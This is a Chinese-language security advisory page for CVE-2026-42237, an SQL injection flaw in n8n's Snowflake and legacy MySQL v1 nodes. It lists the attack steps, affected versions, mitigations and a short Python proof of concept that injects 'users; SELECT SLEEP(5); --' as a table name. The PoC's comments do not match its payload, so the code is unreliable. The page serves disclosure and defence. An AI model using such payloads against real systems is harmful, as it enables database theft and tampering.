IPBUF安全漏洞报告
English
CVE-2026-42237 CVSS 8.8 高危

CVE-2026-42237 n8n SQL注入漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42237
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

SQL注入n8n高危数据库安全Snowflake

漏洞概述

n8n开源工作流自动化平台存在高危SQL注入漏洞。在特定版本之前,针对历史漏洞的修复未覆盖Snowflake节点和旧版MySQL v1节点。攻击者可通过控制表名、列名等参数直接拼接SQL查询,进而对连接的数据库执行任意SQL命令,严重威胁数据安全。

技术细节

该漏洞的根本原因在于n8n的Snowflake节点和legacy MySQL v1节点在构建SQL查询语句时,未对用户控制的标识符(如表名、列名和更新键)进行安全的转义处理,而是直接将其插值到查询字符串中。这使得攻击者能够通过构造恶意的输入数据来改变SQL语句的原始逻辑。攻击者无需用户交互,仅需低权限即可通过网络发起攻击。成功利用该漏洞可能导致数据库敏感信息泄露、数据被非法篡改或删除,严重影响系统的机密性、完整性和可用性。

攻击链分析

STEP 1
访问与配置
攻击者访问n8n工作流编辑界面,创建或编辑包含Snowflake节点或legacy MySQL v1节点的工作流。
STEP 2
注入Payload
在节点的配置参数中(如表名、列名),输入包含SQL注入语法的恶意字符串。
STEP 3
触发执行
保存并激活该工作流,通过触发器或手动执行方式运行工作流。
STEP 4
执行SQL
后端数据库解析被污染的SQL查询,执行攻击者注入的恶意SQL代码,导致数据泄露或破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (Example) url = "http://target-n8n-instance/webhook/test-sqli" # Malicious payload demonstrating table name injection in Snowflake/MySQL v1 node # The payload attempts to extract database version via conditional error injection payload = { "nodeData": { "type": "n8n-nodes-base.snowflake", "parameters": { "operation": "insert", "table": "users; SELECT SLEEP(5); --", "columns": ["id", "name"] } } } headers = { "Content-Type": "application/json" } try: response = requests.post(url, data=json.dumps(payload), headers=headers) print(f"Status Code: {response.status_code}") print("Response:", response.text) except Exception as e: print(f"Error: {e}")

影响范围

n8n < 1.123.32
n8n < 2.17.4
n8n < 2.18.1

防御指南

临时缓解措施
在完成版本升级之前,建议暂时禁用Snowflake节点和legacy MySQL v1节点的使用,或在网络层面限制对n8n API的访问权限,同时加强数据库审计以检测异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表